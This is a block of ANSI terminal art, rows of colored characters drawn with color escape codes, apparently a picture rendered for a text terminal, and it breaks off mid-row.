+[0;5;34;40m8[0;34;45m8[0;1;30;46m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;1;30;45m88[0;5;34;44m@[0;5;36;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;35;40m%[0;5;34;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m8[0;5;36;40m:[0;35;44m8[0;5;35;40m;[0;34;45m8[0;5;35;40mt[0;36;44m8[0;1;30;45m8[0;1;34;44m8[0;5;36;40m:[0;5;35;44m8[0;5;35;40m;[0;34;45m8[0;5;36;40m;[0;5;34;44m@[0;1;30;45m8[0;5;36;40mt[0;34;45m@[0;5;35;40m.[0;35;44m8[0;1;30;43m8[0;5;1;31;43m@[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m8[0;5;1;33;41m8[0;5;37;43m8[0;1;33;47m@[0;5;1;31;43m8[0;33;47m@[0;1;31;41m8[0;5;33;40m.[0;1;30;41m8[0;1;30;43m8[0;5;31;40m8[0;31;40m@[0;1;30;40mX[0;5;33;40m8[0;1;30;40mX[0;5;30;40m@[0;1;30;43m8[0;5;33;40m%[0;1;30;43m8[0;5;37;43m8[0;5;37;41m8[0;33;47m8[0;5;33;40m [0;1;30;47mX[0;5;35;40m [0;1;30;47m8[0;5;35;40m.[0;1;30;47m8[0;5;36;40mS[0;5;33;40m:[0;37;43m8[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m8[0;5;1;31;43m8[0;33;47m8[0m +[0;5;34;40m8[0;34;45m8[0;5;35;44m@[0;5;36;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40mt[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;36;40m:[0;5;35;44m8[0;5;35;40m:[0;1;30;45m88[0;5;34;44m@[0;5;36;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;36;40m:[0;1;30;45m8[0;1;34;44m8[0;5;35;40mt[0;5;31;40mX88[0;1;30;41m8[0;5;31;40m8[0;1;30;41m@88[0;5;31;40m8X[0;5;34;40mS[0;1;30;44m@[0;34;45m8[0;5;35;40mt[0;34;45m8[0;1;34;46m8[0;1;30;45m8[0;5;34;44m@[0;1;30;45m8[0;5;34;44m8[0;1;30;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;1;33;47m8[0;5;1;31;43m8[0;1;33;47mS[0;35;41mX[0;5;31;40m8[0;5;35;40m:[0;5;33;40m8[0;1;30;40m8[0;1;30;41m@[0;5;33;40m%[0;5;31;40m8[0;5;33;40mX[0;1;30;43m88[0;37;43mX[0;5;33;43m;[0;33;47m8[0;5;37;43mX@[0;5;1;31;43m8[0;33;47m8[0;1;30;43m8[0;5;35;40m [0;1;30;47m88[0;36;47m8[0;5;36;44mX[0;1;37;47m [0;5;37;44m8[0;36;47mX[0;35;47m8[0;5;34;40m@[0;5;35;40m.[0;5;37;43m8[0;5;1;33;41m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m8[0;5;37;41m8[0m +[0;5;34;40m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40m%[0;5;34;44m8[0;5;35;40m:[0;34;45m@[0;5;35;40m.[0;1;34;45m8[0;5;35;40m:[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;36;40mt[0;5;34;44m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;5;35;44m8[0;5;36;40mt[0;1;30;44m8[0;30;41m8[0;1;30;41m8[0;30;41mS[0;33;41m%[0;30;41m%[0;33;41mXSXSS[0;1;30;41mX[0;33;41m%S[0;1;30;41m8[0;5;34;40m88[0;1;30;45m8[0;35;44m8[0;5;36;40mt[0;1;30;45m8[0;1;34;46m8[0;1;30;45m8[0;1;30;43m8[0;5;37;43m@[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;1;33;47m8[0;30;41m8[0;5;33;40m.[0;31;40m8[0;5;31;40mX@[0;1;30;43m88[0;37;43m@[0;5;37;43m88[0;33;47m8[0;5;37;43m@[0;5;1;33;41m8[0;5;37;43m@[0;5;1;31;43m8[0;5;37;43m88[0;5;33;40mX[0;1;30;45m8[0;36;47m@[0;1;34;47m8[0;1;36;47m8[0;5;35;40mS[0;5;34;40m8[0;1;30;44m@[0;36;47m88[0;1;36;47m8[0;1;30;46m8[0;1;30;44m@[0;5;35;40m.[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m888[0;1;30;47m8[0m +[0;5;34;40m8[0;34;45m8[0;5;36;40m:[0;5;35;44m8[0;5;35;40m.[0;5;35;44m8[0;5;36;40m%[0;5;34;44m@[0;5;35;40m:[0;34;45m8[0;5;36;40m;[0;5;34;44mX[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;1;30;45m88[0;5;34;44m8[0;5;35;40m.[0;1;30;45m88[0;5;34;44mX[0;5;36;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;1;30;44m@[0;5;31;40m8[0;1;30;47mt[0;33;47mX[0;1;37;47m [0;33;47m8[0;5;33;40m;[0;1;30;43m8[0;1;30;41m888[0;33;41m@[0;1;30;41m8[0;5;33;40m8[0;30;41mt[0;33;41mX[0;5;31;40m8[0;1;30;44m8[0;35;44m8[0;5;34;44m8[0;5;35;40m;[0;1;30;45m8[0;1;34;44m@[0;1;30;43m8[0;5;37;43m8[0;5;37;41m88[0;1;31;43m8[0;5;33;41mX[0;1;33;47m8[0;1;30;43m8[0;5;33;40mS[0;1;30;43m8[0;33;47m8[0;5;33;43m:[0;33;47m8[0;1;30;47m8[0;5;35;40m%[0;1;31;43m8[0;1;30;47m8[0;5;35;40mS[0;5;33;40mX[0;1;33;47m8[0;5;35;40m.[0;1;30;47m8[0;5;1;31;43m8[0;5;37;43m8[0;1;30;45m8[0;5;36;40m%[0;36;47m8[0;1;34;47m88[0;5;36;40mX[0;1;30;43m8[0;33;47m8[0;5;35;40m.[0;1;34;47m8@[0;35;47m8[0;1;30;46m8[0;5;35;40m8[0;5;37;43mX8[0;5;1;31;43m8[0;1;33;47mX[0;5;1;31;43m8[0;5;37;43m8[0;5;1;33;41m8[0;33;47m8[0m +[0;5;34;40m8[0;34;45m8[0;1;30;46m8[0;34;45m@[0;5;36;40m%[0;34;45m8[0;1;30;45m8[0;1;30;46m8[0;5;35;44m8[0;5;36;40mt[0;5;35;44m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m@[0;5;36;40mt[0;5;34;44m8[0;5;35;40m.[0;1;34;45m8[0;34;46m8[0;1;30;45m8[0;5;36;44m8[0;1;30;45m8[0;34;46m8[0;1;30;45m8[0;5;34;40m8[0;1;37;47mt [0;1;30;47m@[0;1;37;47m [0;1;31;47m@[0;1;37;47m [0;1;31;47mX[0;1;37;47m [0;1;33;47mS[0;1;30;47m8@[0;1;37;47m.[0;1;30;47m8[0;30;41m;[0;1;30;41m8[0;1;30;47m8S[0;5;35;40m [0;1;30;45m8[0;1;34;44m8[0;5;36;40m.[0;1;30;45m8[0;5;35;40m;[0;5;37;43mS[0;1;31;43m8[0;1;33;47m@[0;5;37;43m88@XX[0;37;43m@[0;5;35;40m;[0;5;37;40m8[0;1;30;47m8[0;5;37;40m8[0;1;30;47m8[0;36;47mX[0;1;30;47m8[0;36;47m8[0;35;47m8[0;1;30;47m88[0;5;35;40m8[0;5;37;40m%[0;33;47m8[0;5;33;40m.[0;5;34;40m8[0;1;30;46m8[0;36;47m@8[0;1;34;47mX[0;1;30;47m88[0;36;47m8[0;1;34;47m@[0;1;36;47m8[0;36;44mX[0;5;34;40mX[0;5;31;40mX[0;5;37;43mX[0;5;1;33;41m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47m%[0;5;33;41m;[0m +[0;5;34;40m8[0;34;45m8[0;5;35;44m8[0;5;36;40mt[0;5;34;44mX[0;5;35;40m:[0;5;34;44mX[0;1;30;45m8[0;35;44m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;36;44m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m;[0;34;45m8[0;5;35;40mX[0;5;36;40m.[0;5;35;40m [0;5;37;47m :8%[0;1;37;47m [0;1;31;47m@8[0;5;37;47m88[0;1;30;47m8[0;35;47mS[0;1;37;47m:[0;1;31;47m8[0;1;37;47m [0;33;47m8[0;1;33;47mS[0;1;37;47m [0;5;35;40m@X[0;5;34;44m@[0;1;30;45m8[0;5;33;40mS[0;5;37;43m@8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;33;41m8[0;5;1;31;43m8[0;5;37;43m8[0;5;35;40m:[0;1;30;47m@8[0;36;47m8[0;1;34;47m@8[0;1;36;47m8[0;5;37;44m8[0;1;34;47m8[0;36;47m8[0;1;34;47m8[0;36;47m8[0;1;30;47m88[0;1;30;44m8%[0;1;30;47m8[0;5;36;44mS[0;36;47m@[0;1;34;47m8[0;36;47m8[0;1;34;47m8[0;1;36;47m8[0;1;34;46m8[0;5;35;40m:[0;36;47m8[0;1;30;44m8[0;1;30;43m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m8888[0;33;47m8[0m +[0;5;34;40m8[0;5;35;40m%[0;1;34;44m8[0;5;35;40m%[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m [0;5;34;44m@[0;5;35;40m.[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44mX[0;5;35;40m.[0;1;30;45m8[0;5;34;44m@[0;5;35;40mt[0;5;35;44m8[0;5;36;40m;[0;1;30;45m8[0;5;34;40mS[0;1;30;47m.[0;1;37;47m8[0;5;37;47m8[0;1;37;47mS[0;1;30;47mX[0;1;37;47m [0;1;33;47mX[0;1;37;47m [0;5;37;47mX;:8[0;1;33;47mS[0;5;37;47m8[0;5;1;37;43m8[0;5;37;45m8[0;5;37;47m8[0;5;1;33;47m8[0;1;37;47m [0;5;37;47m8[0;35;47m8[0;1;30;45m8[0;5;35;40m%[0;35;44m@[0;5;33;40m:[0;5;37;43mS[0;5;1;31;43m8[0;5;37;43m8@[0;5;1;31;43m8[0;1;33;47mX[0;1;30;47m8[0;5;35;40m.[0;1;30;47mtX[0;1;34;47m88[0;36;47m8[0;1;36;47m8[0;5;37;44m8[0;1;30;47m8[0;36;47m8[0;1;36;47m8[0;5;37;44m8[0;36;47m@[0;1;34;47m8[0;36;47m8[0;5;36;44mX[0;5;36;40mX[0;1;30;44m8[0;5;34;40m8[0;5;33;40m.[0;5;36;40m.[0;1;30;46m8[0;1;34;46m8[0;5;37;40mX[0;5;36;40m8[0;35;47m8[0;5;35;40m;[0;5;34;40m@[0;5;33;40mt[0;5;37;43m@[0;5;1;33;41m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m8[0;5;1;33;41m8[0;5;37;43m8[0;5;33;41m%[0m +[0;5;34;40m8[0;34;45m8[0;5;36;40m:[0;5;34;44mX[0;5;35;40m:[0;1;30;45m8[0;5;35;40m%[0;1;34;45m8[0;5;36;40m;[0;1;30;45m8[0;1;34;45m8[0;5;36;40m.[0;5;34;44m@[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;5;36;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m.[0;1;30;45m8[0;1;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m;[0;1;37;47m@ [0;5;37;47m8[0;1;37;47m [0;5;37;47m8[0;5;33;41m [0;5;37;47m88[0;1;33;47mS[0;5;37;47m8[0;5;1;33;47m8[0;5;37;47m8[0;1;37;47m [0;5;37;47m8[0;5;1;35;41m8[0;5;37;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;37;43m8[0;1;37;47m [0;1;30;45m8[0;5;34;40mX[0;34;45m8[0;5;33;40m;[0;5;37;43mX8[0;5;1;33;41m8[0;1;33;47m8[0;5;1;31;43m8[0;5;37;43m88[0;5;35;40m%:[0;36;47mX8[0;1;34;47m88[0;36;47m88[0;5;37;44m8[0;5;36;44m%[0;5;36;40m:[0;36;47m8[0;1;34;47m8[0;36;47m8[0;1;36;47m@[0;35;47m@[0;1;30;46m8[0;5;36;40m8[0;5;31;40mX[0;33;47m@[0;5;33;40m.[0;33;47m8[0;5;37;40mX[0;5;35;40m8[0;33;47m8[0;5;33;40m [0;1;30;43m8[0;5;37;43mX[0;5;1;31;43m@[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m88[0;5;1;31;43m8[0;1;33;47mX[0;5;37;43m8[0;1;30;47m8[0m +[0;5;34;40m8[0;34;45m8[0;5;36;40mt[0;1;34;45m8[0;1;30;46m8[0;5;34;44mX[0;5;35;40m%[0;1;34;44m8[0;5;35;40m%[0;5;34;44m8[0;5;36;40m.[0;34;45m8[0;5;36;40m:[0;5;34;44mX[0;5;35;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m;[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;35;40m%[0;1;30;47m@[0;5;37;47m88[0;5;1;33;47m8[0;5;37;45m8[0;5;1;37;43m8[0;5;37;47m8[0;1;37;47m [0;5;1;33;41m@[0;1;31;47m8[0;5;1;35;41m8[0;1;37;47m [0;5;1;37;45m8[0;5;1;31;43m8[0;5;37;47m8[0;5;1;33;47m8[0;5;1;35;47m8[0;5;1;37;43m@[0;5;37;47m8[0;5;1;33;47m8[0;5;1;35;47m8[0;5;1;37;43m8[0;1;35;47m%[0;5;1;37;43m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;37;47m8[0;1;30;45m8[0;5;35;40m@[0;1;30;44m8[0;5;33;40m;[0;5;1;31;43m@[0;1;33;47m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;33;41m:[0;1;30;47mX8[0;36;47m@[0;1;34;47m8[0;1;36;47m8[0;1;34;47m8[0;36;47m8[0;1;34;47mX[0;5;36;44m@[0;5;36;40m@[0;1;30;43m%[0;5;35;40m%[0;1;30;46m8[0;1;36;47mX[0;5;37;44m8[0;1;34;47m8[0;1;36;47m8[0;5;36;44m@[0;5;35;40m%[0;5;33;40mt[0;5;37;43mXXX88@@@[0;5;1;31;43m@[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47mS[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;33;47m8[0m +[0;5;34;40m8[0;34;45m8[0;5;36;44m8[0;1;30;45m8[0;34;45m8[0;5;35;40mt[0;5;34;44m8[0;5;35;40m.[0;1;34;45m8[0;5;36;40m:[0;5;34;44m8[0;5;35;40m;[0;5;35;44m8[0;5;35;40m;[0;5;34;44m8[0;5;36;40m:[0;34;45m8[0;5;34;44m8[0;5;35;40m [0;1;30;45m8[0;5;34;44mX[0;5;36;40m.[0;1;30;45m8[0;5;35;40mX[0;1;37;47m. [0;5;1;33;41m8[0;5;1;35;47m@[0;5;1;37;43m8[0;5;37;45m8[0;5;1;33;41m8[0;5;37;47m8[0;1;35;47mX[0;33;47m8X[0;5;37;41m8[0;1;33;47m@[0;35;47m8[0;1;31;47mX[0;5;37;47m8[0;5;1;31;43m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;31;43m@[0;5;1;35;47m@[0;5;1;37;43m8[0;5;1;37;45m8[0;5;37;43m8[0;5;1;37;45m8[0;5;1;33;47m8[0;37;45m@[0;5;35;40m8[0;35;44m8[0;5;33;40mt[0;5;37;43m@[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;1;33;47m8[0;5;35;40mX[0;36;44m8[0;1;30;47m8[0;1;34;47m88[0;36;47m8[0;1;34;47m8[0;1;36;47m@[0;5;35;40m8[0;5;33;40mt[0;33;47m8[0;5;37;40m8[0;36;47mX[0;1;34;47m8[0;36;47m@@[0;1;34;47m@[0;36;47m8[0;1;30;46m8[0;5;35;40m8[0;1;30;43m8[0;5;37;43m@[0;5;31;41m8[0;5;33;40m8[0;1;30;41m%[0;5;33;40mS[0;1;31;41m8[0;1;30;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m88[0;1;33;47m@[0;1;31;47m@[0;5;1;31;43mX[0;5;37;43m8[0;5;37;41m8[0;5;37;43m8[0;1;31;47m8[0m +[0;5;34;40m8[0;1;30;45m8[0;5;34;40mX[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;35;40m.[0;34;45m8[0;1;30;46m8[0;1;34;45m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;36;40m;[0;5;34;44mX[0;5;35;40m [0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;5;34;44m@[0;5;34;40mX[0;1;30;47m@[0;5;37;47m888[0;5;1;33;47m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;37;47m8[0;1;37;47m [0;5;37;47m8[0;1;31;41m;[0;31;40m%SS8[0;30;41mX[0;1;31;45m8[0;5;37;47m88[0;5;1;33;41m8[0;5;37;47m88[0;5;1;33;47m8[0;5;1;31;45m8[0;5;1;33;47m8[0;5;37;47m8[0;5;1;31;43m8[0;5;37;47m8[0;1;35;47m8[0;5;34;40mS[0;1;30;44m8[0;5;33;40mS[0;5;37;43m@[0;5;1;31;43m8[0;1;33;47mX[0;5;1;31;43m8[0;5;37;43m8X[0;5;35;40m:[0;35;47m8[0;1;30;46m8[0;36;47m8[0;1;36;47m8[0;1;34;47m8[0;36;47m8[0;1;34;47m8[0;36;47m8[0;1;30;47m88[0;36;47m8[0;5;37;44m8[0;1;36;47m@[0;1;34;47m8[0;36;47m@[0;1;34;47m8[0;5;36;40m [0;5;35;40m [0;33;47m8[0;5;37;43m@[0;5;1;31;43m@[0;33;47m8[0;5;33;40mS[0;1;30;43m8[0;1;33;47m8[0;33;47m8[0;5;37;43m@8[0;1;31;45m8[0;1;30;43m8[0;5;35;41mX[0;1;30;41m8[0;5;33;40m8[0;1;33;47m8[0;5;33;41mt[0;1;33;47m8[0;5;37;43m8[0;1;30;43m8[0m +[0;5;34;40m8[0;1;34;44m8[0;5;35;40mt[0;1;30;45m8[0;5;34;44m8[0;5;35;40m [0;5;34;44m8[0;5;35;40m;[0;5;35;44m8[0;5;36;40mt[0;34;45m8[0;5;35;40m:[0;5;34;44m@[0;5;35;40m:[0;5;35;44m8[0;5;35;40m;[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;1;30;44m@[0;1;30;47m8[0;5;37;47m8[0;5;1;33;41m8[0;5;1;35;47m@[0;5;37;43m8[0;5;37;47m8[0;5;1;35;41m8[0;5;37;43m8[0;5;37;41m8[0;1;33;47mS[0;1;30;41mX[0;31;40m:[0;34;40m;[0;1;30;40m8[0;5;35;40m;[0;5;33;40m.[0;1;30;41m8[0;1;37;47m [0;5;37;47m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;37;47m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;33;47m8[0;35;47m8[0;1;30;45m@[0;35;44m8[0;5;33;40m@[0;5;37;43m@[0;5;1;31;43m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m8[0;33;47mX[0;5;35;40m8[0;5;36;40mS:[0;1;34;47m@@[0;36;47m8[0;1;34;47m8[0;1;36;47m8[0;5;37;44m8[0;36;47m8[0;1;34;47m8[0;1;36;47m8[0;1;30;47m8[0;5;37;44m8[0;1;36;47m@[0;35;44m8[0;1;30;46m88[0;5;31;40m8[0;5;37;43m@X[0;5;33;43m [0;5;1;31;43m8[0;1;33;47m@[0;5;1;31;43m8[0;33;47m8[0;1;31;41m;[0;33;47m8[0;5;31;40m@[0;1;30;40m8[0;5;33;40mSt[0;30;41m8[0;1;30;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43mX[0;5;33;40m.[0m +[0;5;34;40m8[0;1;30;45m8[0;5;34;44m8[0;5;36;40m [0;1;30;45m8[0;36;44m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m:[0;5;35;44m8[0;5;36;40m%[0;1;34;45m8[0;5;35;40m:[0;5;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;35;40m%[0;5;34;44mS[0;5;35;40m:[0;1;30;45m8[0;5;34;44m@[0;1;30;46m8[0;34;45m@[0;1;33;47mS[0;5;37;47m88[0;5;1;33;47m8[0;5;1;37;45m@[0;5;1;37;43m8[0;5;37;47m8[0;5;37;41m8[0;5;37;47m8[0;1;37;47m [0;5;37;47m8[0;1;37;47m [0;1;30;47m8[0;1;31;47mS[0;1;37;47m [0;1;31;47mX[0;1;33;47m%[0;5;37;47m8[0;5;1;31;43m8[0;5;37;47m8[0;5;1;35;47m8[0;5;1;31;43m@[0;5;1;35;47m8[0;5;1;37;43m8[0;5;1;35;41m8[0;5;37;47m8[0;5;1;37;43m8[0;5;1;35;47m8[0;33;47m8[0;1;30;45mX[0;1;30;44m8[0;5;31;40mX[0;5;37;43m@8[0;5;1;33;41m8[0;5;37;43m88[0;5;1;31;43m8[0;5;37;43m8[0;37;43mX[0;5;37;40m8[0;36;47m8[0;5;36;44mX[0;1;30;47m8[0;1;36;47m8[0;5;37;44m8[0;36;47m8[0;1;34;47m8[0;1;36;47m8[0;1;34;47m8[0;36;47m8[0;5;37;44m8[0;36;47m8[0;1;34;47m8[0;5;36;40m%[0;1;30;47m8[0;5;33;40mS[0;37;43m@[0;5;1;31;43m@[0;1;31;47m8[0;5;33;40m;[0;33;47m8[0;1;30;41mS[0;5;31;40mX[0;37;43m@[0;31;40m8[0;5;33;40mS[0;5;31;40mS[0;32;40m%[0;5;33;40m88@[0;37;43m8[0;5;37;43mX[0;5;1;31;43m8[0;5;37;43m8[0;1;31;43m8[0m +[0;5;34;40m8[0;1;30;45m8[0;5;36;40mS[0;5;34;44mX[0;1;30;45m8[0;5;35;44m8[0;5;36;40m:[0;1;30;45m8[0;36;44m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m:[0;34;45m8[0;5;36;40m:[0;5;34;44mX[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m.[0;1;30;45m8[0;5;34;44m@[0;5;35;40m8[0;1;33;47mS[0;1;37;47m [0;5;1;37;45m8[0;5;1;31;43m8[0;5;37;47m8[0;5;1;35;47m8[0;5;37;43m8[0;1;35;47mX[0;1;31;47m8[0;5;37;47m8[0;5;1;37;43m8[0;5;1;35;47m8[0;5;1;37;43m8[0;1;37;47m [0;5;37;47m88[0;1;33;47mS[0;5;1;35;47m8[0;5;37;47m8[0;5;1;31;43m8[0;5;37;47m88[0;5;1;33;47m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;37;47m8[0;5;1;31;45m8[0;5;1;33;47m8[0;35;47m8[0;5;34;40mX[0;34;45m8[0;5;33;40m@[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47m@[0;5;1;31;43m8[0;5;37;43m88[0;33;47m8[0;1;30;45m8[0;1;30;43m8[0;5;37;40m%[0;5;37;44m8[0;5;36;40mX[0;1;30;46m8[0;1;34;47mX[0;1;30;46m8[0;1;30;45m8[0;1;36;47m8[0;1;30;44m8[0;5;35;40m; [0;1;30;44m8[0;1;30;43m@[0;5;37;43mX@[0;1;33;47m@[0;1;30;41mX[0;1;30;43m8[0;5;31;40mX8[0;5;30;40m8[0;5;33;40mS[0;5;31;40m8[0;5;33;40m8[0;1;30;43m8[0;1;33;43mt[0;5;37;43m8XX[0;5;1;31;43m8[0;5;37;43m888[0;1;30;47m8[0m +[0;5;34;40m8[0;1;34;44m8[0;1;30;45m8[0;5;35;40m%[0;5;34;44m8[0;5;36;40m [0;5;34;44m8[0;5;35;40m;[0;5;35;44m8[0;5;36;40m;[0;1;30;45m8[0;5;34;44m8[0;5;36;40m.[0;5;35;44m8[0;5;35;40m:[0;5;34;40mS[0;1;30;45m8[0;35;44m8[0;5;36;40m.[0;5;34;44mS[0;5;35;40m;X[0;1;30;44m8[0;1;37;47m [0;5;1;33;47m8[0;5;37;47m8[0;5;1;35;47m8[0;5;1;37;43m@[0;5;1;35;41m8[0;1;33;47m%[0;5;37;47m8[0;5;1;33;47m8[0;5;1;37;45m8[0;5;37;43m8[0;5;1;35;47m8[0;1;37;47m [0;5;1;33;47m8[0;5;1;35;41m8[0;5;1;37;43m8[0;5;1;35;47m8[0;5;1;31;43m@[0;5;1;35;47m@[0;5;37;47m8[0;5;1;33;47m8[0;5;1;31;45m8[0;5;1;33;47m8[0;5;37;47m8[0;5;37;43m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;37;47m8[0;35;41m8[0;5;34;40m8[0;5;35;40m8[0;5;31;40m8[0;5;37;43m8[0;5;1;31;43m8[0;1;33;47m@[0;5;1;31;43m8[0;5;37;43m88[0;5;1;33;41m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43mXX[0;5;35;40m;[0;1;30;44m%[0;5;35;40mS[0;5;37;40m8[0;1;30;47m8[0;1;30;44mS[0;5;37;40m@[0;5;36;40m%[0;1;30;44mX[0;1;30;43m8[0;5;37;43m8[0;5;33;43m%[0;1;33;47m8[0;5;31;41m:[0;33;41m8[0;1;30;43m8[0;5;31;40m@8[0;30;41m8[0;5;33;40m@[0;1;30;41m8[0;1;30;43m8[0;1;33;47m8[0;5;33;43m.[0;5;37;43mX[0;5;1;31;43m8[0;5;37;43m8[0;5;1;33;41m8[0;1;33;47m8[0;5;37;43m@[0;5;1;33;41m8[0;5;37;43m8[0;5;1;31;43m8[0;1;30;43m8[0m +[0;5;34;40m8[0;1;30;45m8[0;5;34;44m8[0;5;35;40m:%[0;5;35;44m8[0;5;35;40m.[0;5;35;44m8[0;5;36;40m;[0;5;34;44m8[0;5;35;40m;[0;1;30;45m8[0;5;34;44m8[0;5;35;40m.[0;5;34;44m8[0;5;35;40m%[0;5;34;44m@[0;5;35;40m [0;5;35;44m@[0;5;35;40m:[0;5;34;44m8[0;5;35;40mS[0;1;30;40m8[0;1;35;47mS[0;5;37;47m8[0;5;1;33;41m8[0;5;37;47m88[0;1;33;47mS[0;1;31;47mX[0;5;37;47m88[0;5;1;31;43m8[0;5;1;35;47m8[0;5;1;37;43m8[0;5;1;37;45m8[0;5;1;37;43m8[0;5;37;47m8[0;5;37;41m8[0;5;37;47m88[0;5;1;37;43m8[0;5;1;37;45m@[0;5;1;37;43m8[0;5;37;47m8[0;5;1;31;45m8[0;5;1;33;47m8[0;5;1;35;47m8[0;5;37;43m8[0;5;1;35;47m8[0;5;37;43m8[0;5;35;40mX[0;1;30;40m88[0;5;31;40mX[0;33;47m8[0;5;37;43m@[0;5;1;31;43m8[0;1;33;47mX[0;5;1;31;43m8[0;5;37;43m88[0;5;1;31;43m8[0;1;33;47m@[0;5;1;31;43m8[0;5;37;43m8@[0;1;30;43m8[0;5;37;43m8[0;33;47m8[0;5;35;40m;[0;5;33;40mt[0;1;33;43mS[0;33;47m8[0;1;30;43m8[0;5;33;40m:[0;5;33;41m%[0;5;33;40m [0;5;33;41mt[0;1;33;47mX[0;5;37;43m8@8[0;1;30;43m8[0;37;43m8[0;5;37;43mXX@[0;5;33;43m [0;5;37;41m8[0;5;37;43mX[0;1;33;47m8[0;5;1;33;41m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m8[0;5;1;31;43m8[0;5;37;43m88[0;5;37;41m8[0m +[0;5;34;40m8[0;1;30;45m8[0;1;30;46m8[0;5;34;44m@[0;5;35;40mS[0;1;30;44m8[0;1;30;45m8[0;34;46m8[0;1;30;45m88[0;5;34;44m@[0;5;36;40m:[0;1;30;45m8[0;1;34;44m8[0;5;35;40m:[0;1;30;45m8[0;5;36;44m8[0;1;30;45m8[0;5;36;40mS[0;34;45m8[0;5;36;40mX[0;1;30;44m@[0;30;41m8[0;33;47m8[0;5;37;47m8[0;5;1;35;47m8[0;5;1;31;43m@[0;5;1;35;47m@[0;5;37;47m8[0;5;37;43m8[0;5;1;35;41m8[0;1;37;47m [0;5;37;47m8[0;5;37;41m8[0;1;33;47mS[0;5;37;41m8[0;1;37;47m 